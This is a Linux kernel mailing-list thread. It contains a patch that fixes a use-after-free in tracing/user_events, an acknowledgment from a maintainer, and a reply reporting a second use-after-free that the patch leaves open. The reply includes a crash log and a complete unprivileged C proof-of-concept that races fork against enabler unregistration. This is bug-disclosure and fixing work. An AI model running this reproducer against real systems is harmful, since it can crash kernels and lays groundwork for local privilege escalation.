* Re: [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
2026-06-18 22:27 [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup() Michael Bommarito
@ 2026-06-19 0:12 ` Beau Belgrave
2026-06-22 17:03 ` XIAO WU
1 sibling, 0 replies; 4+ messages in thread
From: Beau Belgrave @ 2026-06-19 0:12 UTC (permalink / raw)
To: Michael Bommarito
Cc: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers,
linux-trace-kernel, linux-kernel, stable
On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote:
> user_event_enabler_destroy() removes an enabler from the per-mm
> mm->enablers list with list_del_rcu() and then frees it immediately with
> kfree(). That list is walked locklessly by user_event_mm_dup() during
> fork(), under rcu_read_lock() only:
>
> rcu_read_lock();
> list_for_each_entry_rcu(enabler, &old_mm->enablers, mm_enablers_link)
> ...
>
> user_event_mm_dup() does not take event_mutex. The per-enabler destroy
> path user_events_ioctl_unreg() (DIAG_IOCSUNREG) takes event_mutex but
> nothing that excludes the dup walk. Threads that share an mm share one
> user_event_mm and one enabler list, so an unregister on one thread can
> free an enabler while another thread is forking and user_event_mm_dup()
> is mid-walk. The walk then dereferences the freed enabler (for example
> enabler->event in user_event_enabler_dup()).
>
> This is reachable by an unprivileged task that can open user_events_data:
> a single multithreaded process that registers an enabler and then
> concurrently unregisters it and calls fork() triggers the race. KASAN
> reports a slab-use-after-free read in user_event_enabler_dup() called
> from user_event_mm_dup() and copy_process() during clone(); with
> kasan.fault=panic the kernel panics.
>
> Free the enabler after a grace period with kfree_rcu(), matching the
> list_del_rcu() removal and the rcu_read_lock() readers in
> user_event_mm_dup(). Add an rcu_head to struct user_event_enabler for
> this. The error path in user_event_enabler_create() keeps using kfree()
> because that enabler is freed before it is published to the RCU list.
>
> Cc: stable@vger.kernel.org
> Fixes: 7235759084a4 ("tracing/user_events: Use remote writes for event enablement")
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Michael Bommarito <michael.bommarito@gmail.com>
> ---
>
> Notes:
> KASAN on the unpatched tree (v7.1, x86-64, CONFIG_KASAN=y, SMP):
>
> BUG: KASAN: slab-use-after-free in user_event_enabler_dup+0x50a/0x540
> Read of size 8 (enabler->event, 16 bytes into a freed kmalloc-cg-64):
> user_event_enabler_dup
> user_event_mm_dup
> copy_process
> __do_sys_clone
> Allocated by the registering task; freed on another CPU via the
> DIAG_IOCSUNREG path. With kasan.fault=panic the access panics.
>
> After the patch the same reproducer runs cleanly (no splat, no panic)
> across the full window, and a serialized control (same paths, no
> concurrency) is clean on both stock and patched.
>
> Re-ran tools/testing/selftests/user_events on stock and patched, both
> clean: abi_test pass:6/6, dyn_test pass:4/4, ftrace_test pass:6/6.
>
> kernel/trace/trace_events_user.c | 10 +++++++++-
> 1 file changed, 9 insertions(+), 1 deletion(-)
>
> diff --git a/kernel/trace/trace_events_user.c b/kernel/trace/trace_events_user.c
> index c4ba484f7b38b..412ca1e3a40cf 100644
> --- a/kernel/trace/trace_events_user.c
> +++ b/kernel/trace/trace_events_user.c
> @@ -109,6 +109,9 @@ struct user_event_enabler {
>
> /* Track enable bit, flags, etc. Aligned for bitops. */
> unsigned long values;
> +
> + /* Defer free so RCU list readers (user_event_mm_dup) are safe. */
> + struct rcu_head rcu;
> };
>
> /* Bits 0-5 are for the bit to update upon enable/disable (0-63 allowed) */
> @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct user_event_enabler *enabler,
> /* No longer tracking the event via the enabler */
> user_event_put(enabler->event, locked);
>
> - kfree(enabler);
> + /*
> + * The enabler is removed from an RCU-traversed list
> + * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
> + * so the backing memory must outlive a grace period.
> + */
> + kfree_rcu(enabler, rcu);
> }
>
> static int user_event_mm_fault_in(struct user_event_mm *mm, unsigned long uaddr,
> --
> 2.53.0
Thanks for fixing this!
Acked-by: Beau Belgrave <beaub@linux.microsoft.com>
Thanks,
-Beau
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
2026-06-18 22:27 [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup() Michael Bommarito
2026-06-19 0:12 ` Beau Belgrave
@ 2026-06-22 17:03 ` XIAO WU
2026-06-24 20:05 ` Beau Belgrave
1 sibling, 1 reply; 4+ messages in thread
From: XIAO WU @ 2026-06-22 17:03 UTC (permalink / raw)
To: Michael Bommarito, Steven Rostedt, Masami Hiramatsu,
Mathieu Desnoyers
Cc: Beau Belgrave, linux-trace-kernel, linux-kernel, stable
Hi,
I came across the Sashiko AI review [1] in this thread and wanted to
share some test results that may be useful.
First — thank you for this patch! The enabler UAF in
user_event_mm_dup() is a real bug and the fix (kfree → kfree_rcu) is
the right approach for protecting the RCU list walkers. The selftest
results you included in the commit are also really helpful.
However, I was able to reproduce a second UAF on the *user_event*
object that the Sashiko review flagged — it's still reachable after the
patch is applied. I've included a PoC and crash log below.
On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote:
> @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct
user_event_enabler *enabler,
> /* No longer tracking the event via the enabler */
> user_event_put(enabler->event, locked);
>
> - kfree(enabler);
> + /*
> + * The enabler is removed from an RCU-traversed list
> + * (user_event_mm_dup walks mm->enablers under rcu_read_lock only),
> + * so the backing memory must outlive a grace period.
> + */
> + kfree_rcu(enabler, rcu);
> }
The issue: user_event_put(enabler->event, locked) is called
synchronously, before kfree_rcu(enabler, rcu). If this drops the last
reference to the user_event, delayed_destroy_user_event() is scheduled
on a workqueue, which calls destroy_user_event() → kfree(user). The
user_event memory is freed without RCU protection.
But the enabler itself is now protected by kfree_rcu — it remains
visible to RCU readers in user_event_mm_dup() during fork(). Those
readers access enabler->event (via user_event_enabler_dup →
user_event_get(orig->event)), which now points to freed memory:
fork() unregister
──────── ──────────
user_event_mm_dup()
rcu_read_lock();
list_for_each_entry_rcu(enabler, ...)
user_event_enabler_destroy()
list_del_rcu(enabler)
user_event_put(enabler->event)
→ last ref!
→
schedule_work(put_work)
kfree_rcu(enabler, rcu)
user_event_enabler_dup(enabler, ...) [workqueue]
enabler->event = delayed_destroy_user_event()
user_event_get(orig->event); destroy_user_event()
↑ UAF: orig->event was freed! kfree(user_event)
[Reproduction]
The PoC runs as an unprivileged user with access to
/sys/kernel/tracing/user_events_data. It creates two threads sharing
the same mm:
- fork_worker: continuously calls fork()/waitpid(), which triggers
user_event_mm_dup() → RCU list walk
- unreg_worker: continuously registers (DIAG_IOCSREG) and unregisters
(DIAG_IOCSUNREG) an event enabler, which calls
user_event_enabler_destroy()
The race window is small but reproducible within a few iterations on a
multi-CPU QEMU VM.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in user_event_mm_dup+0x319/0x630
Write of size 4 at addr ffff88802c786fa8 by task poc/29997
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
kasan_check_range
user_event_mm_dup+0x319/0x630
copy_process+0x650f/0x8090
kernel_clone+0x214/0x9c0
__do_sys_clone+0xce/0x120
do_syscall_64
entry_SYSCALL_64_after_hwframe
</TASK>
Allocated by task 29998:
kasan_save_stack
__kasan_kmalloc
__kmalloc_cache_noprof
user_event_parse_cmd+0x721/0x2aa0
user_events_ioctl+0xcc0/0x1d00
__x64_sys_ioctl
do_syscall_64
Freed by task 5014:
kasan_save_stack
__kasan_slab_free
kfree+0x165/0x710
destroy_user_event+0x375/0x4f0
delayed_destroy_user_event+0x8d/0x110
process_one_work
worker_thread
kthread
Last potentially related work creation:
queue_work_on
user_event_put+0x25d/0x460
user_events_ioctl+0x1795/0x1d00
__x64_sys_ioctl
do_syscall_64
------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0xf9/0x120
Call Trace:
user_event_mm_dup+0x349/0x630
The refcount warning on top of the KASAN report is a strong double
confirmation: user_event_get(orig->event) is trying to increment a
refcount on memory that has already been freed and zeroed.
The PoC is attached below. It's a single C file, compiles with:
gcc -o poc poc.c -static -lpthread
[1]
https://sashiko.dev/#/patchset/20260618222743.538915-1-michael.bommarito%40gmail.com
(Sashiko AI code review — "Use-After-Free", Severity: Critical)
Thanks,
XIAO
// PoC: user_event UAF on event object via user_event_mm_dup()
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <stdint.h>
#define DIAG_IOC_MAGIC '*'
#define DIAG_IOCSREG _IOWR(DIAG_IOC_MAGIC, 0, struct user_reg*)
#define DIAG_IOCSDEL _IOW(DIAG_IOC_MAGIC, 1, char*)
#define DIAG_IOCSUNREG _IOW(DIAG_IOC_MAGIC, 2, struct user_unreg*)
struct user_reg {
uint32_t size; uint8_t enable_bit; uint8_t enable_size;
uint16_t flags; uint64_t enable_addr; uint64_t name_args;
uint32_t write_index;
} __attribute__((__packed__));
struct user_unreg {
uint32_t size; uint8_t disable_bit; uint8_t __reserved;
uint16_t __reserved2; uint64_t disable_addr;
} __attribute__((__packed__));
static volatile int stop_flag = 0;
static void *enable_page = NULL;
static const char *event_name = "poc_uaf_test";
static int open_fd(void)
{
int fd = open("/sys/kernel/tracing/user_events_data", O_WRONLY);
if (fd < 0)
fd = open("/sys/kernel/debug/tracing/user_events_data", O_WRONLY);
return fd;
}
static int do_reg(int fd, void *addr)
{
struct user_reg reg = {0};
reg.size = sizeof(reg);
reg.enable_bit = 0;
reg.enable_size = 4;
reg.flags = 0;
reg.enable_addr = (uint64_t)(unsigned long)addr;
reg.name_args = (uint64_t)(unsigned long)event_name;
return ioctl(fd, DIAG_IOCSREG, ®);
}
static int do_unreg(int fd, void *addr)
{
struct user_unreg unreg = {0};
unreg.size = sizeof(unreg);
unreg.disable_bit = 0;
unreg.disable_addr = (uint64_t)(unsigned long)addr;
return ioctl(fd, DIAG_IOCSUNREG, &unreg);
}
static void *fork_worker(void *arg)
{
pid_t pid; int status;
cpu_set_t cpuset;
CPU_ZERO(&cpuset); CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (!stop_flag) {
pid = fork();
if (pid == 0) _exit(0);
else if (pid > 0) waitpid(pid, &status, 0);
else usleep(100);
}
return NULL;
}
static void *unreg_worker(void *arg)
{
int fd;
cpu_set_t cpuset;
CPU_ZERO(&cpuset); CPU_SET(2, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (!stop_flag) {
fd = open_fd();
if (fd < 0) continue;
/* Ensure an enabler exists, then unregister to destroy it */
if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) {
do_unreg(fd, enable_page);
do_reg(fd, enable_page);
}
close(fd);
fd = open_fd();
if (fd < 0) continue;
do_unreg(fd, enable_page);
close(fd);
usleep(100);
}
return NULL;
}
int main(int argc, char **argv)
{
pthread_t t_fork, t_unreg;
int fd, i, iters = 30;
if (argc > 1) iters = atoi(argv[1]);
printf("[+] PoC: user_event UAF in user_event_mm_dup\n");
printf("[+] Running %d iterations (3s each)\n", iters);
enable_page = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (enable_page == MAP_FAILED) { perror("mmap"); return 1; }
memset(enable_page, 0, 4096);
fd = open_fd();
if (fd < 0) { perror("open /sys/kernel/tracing/user_events_data");
return 1; }
if (do_reg(fd, enable_page) < 0 && errno != EADDRINUSE) {
perror("reg"); close(fd); return 1;
}
close(fd);
printf("[+] Event initialized\n");
for (i = 0; i < iters; i++) {
printf("[+] Iter %d/%d\n", i+1, iters);
/* Re-create enabler */
fd = open_fd();
if (fd >= 0) {
if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) {
do_unreg(fd, enable_page);
do_reg(fd, enable_page);
}
close(fd);
}
stop_flag = 0;
pthread_create(&t_fork, NULL, fork_worker, NULL);
pthread_create(&t_unreg, NULL, unreg_worker, NULL);
usleep(3000000);
stop_flag = 1;
pthread_join(t_unreg, NULL);
pthread_join(t_fork, NULL);
}
printf("[+] Done\n");
return 0;
}
^ permalink raw reply [flat|nested] 4+ messages in thread